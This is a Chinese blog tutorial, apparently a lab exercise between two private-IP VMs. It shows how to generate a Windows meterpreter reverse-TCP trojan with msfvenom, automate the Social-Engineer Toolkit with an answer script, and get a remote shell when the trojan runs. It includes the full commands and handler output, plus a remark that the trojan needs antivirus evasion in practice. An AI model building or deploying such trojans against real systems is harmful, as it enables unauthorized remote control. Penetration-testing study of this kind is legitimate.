天天看點

Metasploit之——社會工程學工具包

社會工程學工具包(Social Engineering Toolkit, SET)是一套基于Python語言的工具集合,主要面向對人進行的滲透測試。使用SET可以實作多種攻擊,比如:網絡釣魚攻擊、網頁劫持攻擊、格式檔案攻擊等。

這裡,我們同樣以一個實際案例來進行說明。

攻擊機 Kali 192.168.175.128

靶機 WinXP 192.168.175.130

1.生成exe木馬

msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.175.128 lport=4444  -f exe -o  shell.exe      

注意:實際過程中,需要多exe木馬進行免殺防護。

2.将木馬上傳到靶機

實際中,我們需要将靶機進行一系列的滲透之後,拿到靶機的系統權限,将木馬上傳或者下載下傳到靶機。這裡隻是一個示例,我就直接将exe木馬拷貝到靶機中了。

3.編寫社會工程學腳本se-script

這裡,我們将目錄切換到Kali下的/usr/share/set目錄下。

Metasploit之——社會工程學工具包

在此目錄下,建立腳本檔案se-script,内容如下:

1
4
2
192.168.175.128
4444
yes      

注意:這個腳本的第一行為空行

如下圖所示:

Metasploit之——社會工程學工具包

4.安裝社會工程學工具包

注意:第一次使用Kali下的社會工程學工具包的時候,需要将目錄切換到/usr/share/set目錄下後,執行如下指令進行安裝:

./setup.py install      

如果已經執行過安裝指令,則此步驟可忽略。

5.運作社會工程學腳本se-script

這裡,我們在Kali的/usr/share/set目錄下輸入如下指令:

./seautomate se-script      

具體如下:

root@binghe:/usr/share/set# ./seautomate se-script 

           ..######..########.########
           .##....##.##..........##...
           .##.......##..........##...
           ..######..######......##...
           .......##.##..........##...
           .##....##.##..........##...
           ..######..########....##...  

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 7.7.9
                   Codename: 'Blackout'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

     Join us on irc.freenode.net in channel #setoolkit

   The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!


 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) SMS Spoofing Attack Vector
  11) Third Party Modules

  99) Return back to the main menu.

set> 4


   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
   5) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
   6) Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
   7) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
   8) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and use Reverse Meterpreter
   9) Download/Run your Own Executable        Downloads an executable and runs it

set:payloads>2
set:payloads> IP address for the payload listener (LHOST):192.168.175.128
set:payloads> Enter the PORT for the reverse listener:4444
[*] Generating the payload.. please be patient.
yes
[*] Payload has been exported to the default SET directory located under: /root/.set/payload.exe
set:payloads> Do you want to start the payload and listener now? (yes/no):[*] Launching msfconsole, this could take a few to load. Be patient...
                                                  

                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


       =[ metasploit v5.0.1-dev                           ]
+ -- --=[ 1851 exploits - 1046 auxiliary - 321 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]

[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use multi/handler
resource (/root/.set/meta_config)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.175.128
LHOST => 192.168.175.128
resource (/root/.set/meta_config)> set LPORT 4444
LPORT => 4444
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.175.128:4444 
msf5 exploit(multi/handler) >      

輸入的内容比較多,由輸出的内容可知:SET工具包,将腳本檔案se-script中的每一行内容都當做相應的參數設定到架構中了,同時自動啟動了Metasploit架構進行監聽。

此時,我們切換到靶機,點選我們的exe木馬檔案,如下:

Metasploit之——社會工程學工具包

切換到Kali指令行後,看到如下輸出:

msf5 exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.175.130
[*] Meterpreter session 1 opened (192.168.175.128:4444 -> 192.168.175.130:1100) at 2019-01-27 14:41:13 +0800

此時我們按下回車,并輸入sessions指令

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x86/windows  LIUYAZHUANG\lyz @ LIUYAZHUANG  192.168.175.128:4444 -> 192.168.175.130:1100 (192.168.175.130)      

可以看到靶機和攻擊機之間建立了Meterpreter連接配接。

接着,我們輸入sessions -i 1 指令進入Meterpreter指令行,具體如下:

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - rface
Hardware MAC : 00:0c:29:5d:8e:d4
MTU          : 1500
IPv4 Address : 192.168.175.130
IPv4 Netmask : 255.255.255.0

meterpreter >      

可見,我們已經利用社會工程學工具包,順利拿下了目标機的Meterpreter權限。

接下來,我們就分析一下,SET架構是如何和se-script腳本中的參數進行關聯的。

6.分析SET架構與se-script腳本的關系

在第5步中,我們隻是輸入了./seautomate se-script 指令,然後輕按兩下了exe木馬檔案,就拿到了靶機的meterpreter權限。這一切都是SET架構自動執行的結果,那麼SET架構是如何自動執行的呢?下面我們就具體分析這個過程。

在分析的過程中,我們手動執行SET架構的每一個步驟,然後對比我們的腳本檔案se-script中的内容。

6-1.啟動SET架構

在/usr/share/set目錄下輸入指令:

./setoolkit      

啟動SET架構

6-2.選擇攻擊菜單

Metasploit之——社會工程學工具包

這裡,我們選擇1,社會工程學攻擊

6-2.選擇攻擊方式

Metasploit之——社會工程學工具包

這裡,選擇4,建立一個Payload和Listener。

6-3.選擇攻擊載荷

Metasploit之——社會工程學工具包

這裡選擇2,Windows Reverse_TCP Meterpreter

6-4.設定監聽IP和端口

Metasploit之——社會工程學工具包

6-5.是否立即啟動

這裡,詢問是否立即啟動攻擊載荷和監聽配置,這裡輸入yes

Metasploit之——社會工程學工具包

此時,便進入了Metasploit指令行

Metasploit之——社會工程學工具包

此時,我們輕按兩下下靶機上的exe木馬,指令行輸出如下資訊:

[*] Started reverse TCP handler on 192.168.175.128:4444 
msf5 exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.175.130
[*] Meterpreter session 1 opened (192.168.175.128:4444 -> 192.168.175.130:1105) at 2019-01-27 15:03:32 +0800

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x86/windows  LIUYAZHUANG\lyz @ LIUYAZHUANG  192.168.175.128:4444 -> 192.168.175.130:1105 (192.168.175.130)      

如下圖:

Metasploit之——社會工程學工具包

此時,我們輸入sessions -i 1進入Meterpreter指令行。

Metasploit之——社會工程學工具包

此時,我們同樣拿下了靶機的Meterpreter權限。

6-6.對比分析

在我們手動啟動SET進行攻擊的時候,依次輸入了:1->4->2->192.168.175.128->4444-yes

再來看我們的se-script腳本:

Metasploit之——社會工程學工具包

正好一一對應,